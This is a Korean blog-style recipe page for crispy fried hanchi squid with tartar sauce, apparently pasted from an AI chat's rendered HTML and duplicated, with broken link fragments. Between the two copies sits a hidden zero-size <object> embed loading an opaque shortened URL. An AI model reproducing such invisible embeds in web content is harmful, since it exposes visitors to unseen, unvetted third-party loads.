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<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:36">바삭하고 촉촉한 한치 튀김과 상큼한 타르타르 소스 레시피!</h2><p data-sourcepos="5:1-5:26"><strong>맥주가 절로 생각나는 바삭한 한치 튀김!</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8a50ff914d16bb58&quot;,&quot;c_a5bea4ca8bfaea47&quot;,null,&quot;rc_4fe56f86ac110d8f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6961426"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="바삭한 한치 튀김 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcRVoBNIAxVg4VssLMZCZjlwQSKSjn-Cvq4hvf68hOxthE2gO0tYcGlR-5Jd3k08"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6961426" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8a50ff914d16bb58&quot;,&quot;c_a5bea4ca8bfaea47&quot;,null,&quot;rc_4fe56f86ac110d8f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 바삭한 한치 튀김 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="7:1-7:91">한치의 특유의 부드러움과 쫄깃함을 튀김으로 즐기면 그 맛이 배가됩니다. 맥주와 함께라면 금상첨화! 집에서도 간단하게 만들 수 있는 한치 튀김 레시피를 소개합니다.</p><p data-sourcepos="9:1-9:6"><strong>재료</strong></p><ul data-sourcepos="11:1-17:0">
<li data-sourcepos="11:1-11:10">한치: 300g</li>
<li data-sourcepos="12:1-12:10">튀김가루: 1컵</li>
<li data-sourcepos="13:1-13:10">전분: 1/2컵</li>
<li data-sourcepos="14:1-14:10">찬물: 1/2컵</li>
<li data-sourcepos="15:1-15:8">소금: 약간</li>
<li data-sourcepos="16:1-17:0">식용유: 적당량</li>
</ul><p data-sourcepos="18:1-18:9"><strong>만드는 법</strong></p><ol data-sourcepos="20:1-25:0">
<li data-sourcepos="20:1-20:33">한치는 깨끗하게 손질하여 먹기 좋은 크기로 썰어줍니다.</li>
<li data-sourcepos="21:1-21:42">볼에 튀김가루, 전분, 소금을 넣고 찬물을 넣어 튀김옷을 만들어줍니다.</li>
<li data-sourcepos="22:1-22:22">한치에 튀김옷을 골고루 입혀줍니다.</li>
<li data-sourcepos="23:1-23:37">기름을 충분히 달군 팬에 한치를 넣고 노릇노릇하게 튀겨줍니다.</li>
<li data-sourcepos="24:1-25:0">키친타올에 잠깐 올려 기름기를 제거해줍니다.</li>
</ol><p data-sourcepos="26:1-26:21"><strong>상큼함을 더해주는 타르타르 소스</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8a50ff914d16bb58&quot;,&quot;c_a5bea4ca8bfaea47&quot;,null,&quot;rc_4fe56f86ac110d8f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%ED%83%80%EB%A5%B4%ED%83%80%EB%A5%B4%20%EC%86%8C%EC%8A%A4"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="타르타르 소스 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTSMAR584TB9ad0X77M4xhDSS0T3MyoKrecI7ApxtZzHgHXQgobBmO8_oBdm_-1"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%ED%83%80%EB%A5%B4%ED%83%80%EB%A5%B4%20%EC%86%8C%EC%8A%A4" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8a50ff914d16bb58&quot;,&quot;c_a5bea4ca8bfaea47&quot;,null,&quot;rc_4fe56f86ac110d8f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">namu.wiki</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 타르타르 소스 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="30:1-30:58">한치 튀김과 환상의 궁합을 자랑하는 타르타르 소스! 새콤달콤한 맛이 한치의 풍미를 더욱 끌어올려줍니다.</p><p data-sourcepos="32:1-32:6"><strong>재료</strong></p><ul data-sourcepos="34:1-41:0">
<li data-sourcepos="34:1-34:12">마요네즈: 1/2컵</li>
<li data-sourcepos="35:1-35:12">사워크림: 1/4컵</li>
<li data-sourcepos="36:1-36:14">피클: 다진 것 2큰술</li>
<li data-sourcepos="37:1-37:14">양파: 다진 것 2큰술</li>
<li data-sourcepos="38:1-38:15">파슬리: 다진 것 1큰술</li>
<li data-sourcepos="39:1-39:10">레몬즙: 1큰술</li>
<li data-sourcepos="40:1-41:0">소금, 후추: 약간</li>
</ul><p data-sourcepos="42:1-42:9"><strong>만드는 법</strong></p><ol data-sourcepos="44:1-46:0">
<li data-sourcepos="44:1-44:24">볼에 모든 재료를 넣고 잘 섞어줍니다.</li>
<li data-sourcepos="45:1-46:0">취향에 따라 청양고추를 다져 넣어 매콤함을 더할 수 있습니다.</li>
</ol><p data-sourcepos="47:1-47:6"><strong>꿀팁</strong></p><ul data-sourcepos="49:1-52:0">
<li data-sourcepos="49:1-49:37">튀김옷에 맥주를 넣어주면 더욱 바삭한 튀김을 즐길 수 있습니다.</li>
<li data-sourcepos="50:1-50:37">타르타르 소스에 꿀을 약간 넣어주면 달콤함을 더할 수 있습니다.</li>
<li data-sourcepos="51:1-52:0">튀김기름의 온도를 잘 맞춰주는 것이 중요합니다. 너무 낮으면 기름을 많이 먹고, 너무 높으면 겉만 타버릴 수 있습니다.</li>
</ul><p data-sourcepos="53:1-53:13"><strong>다양한 한치 요리</strong></p><p data-sourcepos="55:1-55:31">한치는 튀김 외에도 다양한 요리에 활용할 수 있습니다.</p><ul data-sourcepos="57:1-60:0">
<li data-sourcepos="57:1-57:38"><strong>한치볶음:</strong> 매콤한 양념에 볶아 먹으면 밥반찬으로 좋습니다.</li>
<li data-sourcepos="58:1-58:46"><strong>한치물회:</strong> 시원하고 매콤한 육수에 한치를 넣어 먹으면 여름철 별미입니다.</li>
<li data-sourcepos="59:1-60:0"><strong>한치버터구이:</strong> 버터에 구워 레몬즙을 뿌려 먹으면 간단하고 맛있는 안주가 됩니다.</li>
<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8a50ff914d16bb58&quot;,&quot;c_a5bea4ca8bfaea47&quot;,null,&quot;rc_4fe56f86ac110d8f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m./watch?v=KGFAaEDYn14"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="다양한 한치 요리 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQKV85lqVY5oWKZgMA9J3iEhmWsJLLv7-gTiJAG7rlNOVs64vflNg9JS7ORTXJ9"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://m./watch?v=KGFAaEDYn14" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_8a50ff914d16bb58&quot;,&quot;c_a5bea4ca8bfaea47&quot;,null,&quot;rc_4fe56f86ac110d8f&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcT2oaNTaEH1PgPuNPT-einizPswco4WY_uiY8-ClO-HNrmib7uSFfg00pCw-n032d2SMk3yHFblBQNzrp55wpcBB3VoMrJ_6w"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">m.</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 다양한 한치 요리 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></ul><p data-sourcepos="63:1-63:32"><strong>지금 바로 집에서 한치 튀김 만들기에 도전해보세요!</strong></p><p data-sourcepos="65:1-65:35"><strong>한치튀김 타르타르소스 집밥 맥주안주 요리스타그램</strong></p><p data-sourcepos="67:1-67:41"><strong> 출처:</strong> 픽사베이, Unsplash 등 (정확한 출처는 생략)</p><p data-sourcepos="69:1-69:57"><strong>참고:</strong> 위 레시피는 일반적인 레시피이며, 개인의 취향에 따라 재료와 양을 조절할 수 있습니다.</p><p data-sourcepos="71:1-71:39"><strong>더 많은 레시피를 원하시면 유튜브나 쿠킹 클래스를 참고해보세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/dYis" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:36">바삭하고 촉촉한 한치 튀김과 상큼한 타르타르 소스 레시피!</h2><p data-sourcepos="5:1-5:26"><strong>맥주가 절로 생각나는 바삭한 한치 튀김!</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8a50ff914d16bb58","c_a5bea4ca8bfaea47",null,"rc_4fe56f86ac110d8f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6961426"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="바삭한 한치 튀김 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRVoBNIAxVg4VssLMZCZjlwQSKSjn-Cvq4hvf68hOxthE2gO0tYcGlR-5Jd3k08"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6961426" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8a50ff914d16bb58","c_a5bea4ca8bfaea47",null,"rc_4fe56f86ac110d8f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 바삭한 한치 튀김 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="7:1-7:91">한치의 특유의 부드러움과 쫄깃함을 튀김으로 즐기면 그 맛이 배가됩니다. 맥주와 함께라면 금상첨화! 집에서도 간단하게 만들 수 있는 한치 튀김 레시피를 소개합니다.</p><p data-sourcepos="9:1-9:6"><strong>재료</strong></p><ul data-sourcepos="11:1-17:0">
<li data-sourcepos="11:1-11:10">한치: 300g</li>
<li data-sourcepos="12:1-12:10">튀김가루: 1컵</li>
<li data-sourcepos="13:1-13:10">전분: 1/2컵</li>
<li data-sourcepos="14:1-14:10">찬물: 1/2컵</li>
<li data-sourcepos="15:1-15:8">소금: 약간</li>
<li data-sourcepos="16:1-17:0">식용유: 적당량</li>
</ul><p data-sourcepos="18:1-18:9"><strong>만드는 법</strong></p><ol data-sourcepos="20:1-25:0">
<li data-sourcepos="20:1-20:33">한치는 깨끗하게 손질하여 먹기 좋은 크기로 썰어줍니다.</li>
<li data-sourcepos="21:1-21:42">볼에 튀김가루, 전분, 소금을 넣고 찬물을 넣어 튀김옷을 만들어줍니다.</li>
<li data-sourcepos="22:1-22:22">한치에 튀김옷을 골고루 입혀줍니다.</li>
<li data-sourcepos="23:1-23:37">기름을 충분히 달군 팬에 한치를 넣고 노릇노릇하게 튀겨줍니다.</li>
<li data-sourcepos="24:1-25:0">키친타올에 잠깐 올려 기름기를 제거해줍니다.</li>
</ol><p data-sourcepos="26:1-26:21"><strong>상큼함을 더해주는 타르타르 소스</strong><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8a50ff914d16bb58","c_a5bea4ca8bfaea47",null,"rc_4fe56f86ac110d8f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%ED%83%80%EB%A5%B4%ED%83%80%EB%A5%B4%20%EC%86%8C%EC%8A%A4"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="타르타르 소스 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTSMAR584TB9ad0X77M4xhDSS0T3MyoKrecI7ApxtZzHgHXQgobBmO8_oBdm_-1"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%ED%83%80%EB%A5%B4%ED%83%80%EB%A5%B4%20%EC%86%8C%EC%8A%A4" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8a50ff914d16bb58","c_a5bea4ca8bfaea47",null,"rc_4fe56f86ac110d8f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">namu.wiki</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 타르타르 소스 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p><p data-sourcepos="30:1-30:58">한치 튀김과 환상의 궁합을 자랑하는 타르타르 소스! 새콤달콤한 맛이 한치의 풍미를 더욱 끌어올려줍니다.</p><p data-sourcepos="32:1-32:6"><strong>재료</strong></p><ul data-sourcepos="34:1-41:0">
<li data-sourcepos="34:1-34:12">마요네즈: 1/2컵</li>
<li data-sourcepos="35:1-35:12">사워크림: 1/4컵</li>
<li data-sourcepos="36:1-36:14">피클: 다진 것 2큰술</li>
<li data-sourcepos="37:1-37:14">양파: 다진 것 2큰술</li>
<li data-sourcepos="38:1-38:15">파슬리: 다진 것 1큰술</li>
<li data-sourcepos="39:1-39:10">레몬즙: 1큰술</li>
<li data-sourcepos="40:1-41:0">소금, 후추: 약간</li>
</ul><p data-sourcepos="42:1-42:9"><strong>만드는 법</strong></p><ol data-sourcepos="44:1-46:0">
<li data-sourcepos="44:1-44:24">볼에 모든 재료를 넣고 잘 섞어줍니다.</li>
<li data-sourcepos="45:1-46:0">취향에 따라 청양고추를 다져 넣어 매콤함을 더할 수 있습니다.</li>
</ol><p data-sourcepos="47:1-47:6"><strong>꿀팁</strong></p><ul data-sourcepos="49:1-52:0">
<li data-sourcepos="49:1-49:37">튀김옷에 맥주를 넣어주면 더욱 바삭한 튀김을 즐길 수 있습니다.</li>
<li data-sourcepos="50:1-50:37">타르타르 소스에 꿀을 약간 넣어주면 달콤함을 더할 수 있습니다.</li>
<li data-sourcepos="51:1-52:0">튀김기름의 온도를 잘 맞춰주는 것이 중요합니다. 너무 낮으면 기름을 많이 먹고, 너무 높으면 겉만 타버릴 수 있습니다.</li>
</ul><p data-sourcepos="53:1-53:13"><strong>다양한 한치 요리</strong></p><p data-sourcepos="55:1-55:31">한치는 튀김 외에도 다양한 요리에 활용할 수 있습니다.</p><ul data-sourcepos="57:1-60:0">
<li data-sourcepos="57:1-57:38"><strong>한치볶음:</strong> 매콤한 양념에 볶아 먹으면 밥반찬으로 좋습니다.</li>
<li data-sourcepos="58:1-58:46"><strong>한치물회:</strong> 시원하고 매콤한 육수에 한치를 넣어 먹으면 여름철 별미입니다.</li>
<li data-sourcepos="59:1-60:0"><strong>한치버터구이:</strong> 버터에 구워 레몬즙을 뿌려 먹으면 간단하고 맛있는 안주가 됩니다.</li>
<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c3866108592="" class="ng-star-inserted"><div _ngcontent-ng-c3866108592="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3866108592="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3866108592="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3664883469="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8a50ff914d16bb58","c_a5bea4ca8bfaea47",null,"rc_4fe56f86ac110d8f",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://m./watch?v=KGFAaEDYn14"><span _ngcontent-ng-c3664883469="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3866108592="" class="image loaded" alt="다양한 한치 요리 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQKV85lqVY5oWKZgMA9J3iEhmWsJLLv7-gTiJAG7rlNOVs64vflNg9JS7ORTXJ9"></span><span _ngcontent-ng-c3664883469="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c3866108592="" rel="noopener" class="source ng-star-inserted" s://m./watch?v=KGFAaEDYn14" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8a50ff914d16bb58","c_a5bea4ca8bfaea47",null,"rc_4fe56f86ac110d8f",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3866108592="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcT2oaNTaEH1PgPuNPT-einizPswco4WY_uiY8-ClO-HNrmib7uSFfg00pCw-n032d2SMk3yHFblBQNzrp55wpcBB3VoMrJ_6w"><!----><span _ngcontent-ng-c3866108592="" class="label ellipsis gmat-caption">m.</span><span _ngcontent-ng-c3866108592="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c3866108592="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 다양한 한치 요리 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></ul><p data-sourcepos="63:1-63:32"><strong>지금 바로 집에서 한치 튀김 만들기에 도전해보세요!</strong></p><p data-sourcepos="65:1-65:35"><strong>한치튀김 타르타르소스 집밥 맥주안주 요리스타그램</strong></p><p data-sourcepos="67:1-67:41"><strong> 출처:</strong> 픽사베이, Unsplash 등 (정확한 출처는 생략)</p><p data-sourcepos="69:1-69:57"><strong>참고:</strong> 위 레시피는 일반적인 레시피이며, 개인의 취향에 따라 재료와 양을 조절할 수 있습니다.</p><p data-sourcepos="71:1-71:39"><strong>더 많은 레시피를 원하시면 유튜브나 쿠킹 클래스를 참고해보세요.</strong></p></div>
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